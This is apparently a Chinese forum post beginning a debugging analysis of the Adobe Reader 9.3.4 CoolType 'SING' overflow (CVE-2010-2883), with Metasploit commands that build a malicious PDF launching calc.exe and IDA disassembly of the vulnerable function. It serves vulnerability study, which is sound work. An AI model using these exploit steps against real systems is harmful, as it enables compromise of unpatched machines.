早就想分析一下文档型漏洞,看了几篇文章后决定自己调试跟踪一下,慢慢提升自己的调试水平.

1.  环境为    win xp sp3,

2.  版本为  adobe reader9.3.4

   具体步骤:

                   search cve-2010-2883

                   use exploit/windows/fileformat/adobe_cooltype_sing

                   set payload windows/exec

                   set cmd calc.exe

                   exploit

4. 安装adobe reader9.3.4后,打开adobe reader9.3.4的安装目录,将cooltype.dll用ida打开

5. ctrl+s 双击.text段 alt+t搜索所有"SING", 从搜索结果中搜索下一个,直到得到如下代码:

.text:0803DCF9 ; __unwind { // loc_8184A54

.text:0803DCF9                 push    ebp

.text:0803DCFA                 sub     esp, 104h

.text:0803DD00                 lea     ebp, [esp-4]

.text:0803DD04                 mov     eax, ___security_cookie

.text:0803DD09                 xor     eax, ebp

.text:0803DD0B                 mov     [ebp+108h+var_4], eax

.text:0803DD11                 push    4Ch

.text:0803DD13                 mov     eax, offset loc_8184A54

.text:0803DD18                 call    __EH_prolog3_catch

.text:0803DD1D                 mov     eax, [ebp+108h+arg_C]

.text:0803DD23                 mov     edi, [ebp+108h+arg_0]

.text:0803DD29                 mov     ebx, [ebp+108h+arg_4]

.text:0803DD2F                 mov     [ebp+108h+var_130], edi

.text:0803DD32                 mov     [ebp+108h+var_138], eax

.text:0803DD35                 call    sub_804172C

.text:0803DD3A                 xor     esi, esi

.text:0803DD3C                 cmp     dword ptr [edi+8], 3

.text:0803DD40 ;   try {

.text:0803DD40                 mov     [ebp+108h+var_10C], esi

.text:0803DD43                 jz      loc_803DF00

.text:0803DD49                 mov     [ebp+108h+var_124], esi

.text:0803DD4C                 mov     [ebp+108h+var_120], esi

.text:0803DD4F                 cmp     dword ptr [edi+0Ch], 1

.text:0803DD4F ;   } // starts at 803DD40

.text:0803DD53 ;   try {

.text:0803DD53                 mov     byte ptr [ebp+108h+var_10C], 1

.text:0803DD57                 jnz     loc_803DEA9

.text:0803DD5D                 push    offset aName    ; "name"

.text:0803DD62                 push    edi             ; int

.text:0803DD63                 lea     ecx, [ebp+108h+var_124]

.text:0803DD66                 mov     [ebp+108h+var_119], 0

.text:0803DD6A                 call    sub_80217D7

.text:0803DD6F                 cmp     [ebp+108h+var_124], esi

.text:0803DD72                 jnz     short loc_803DDDD

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)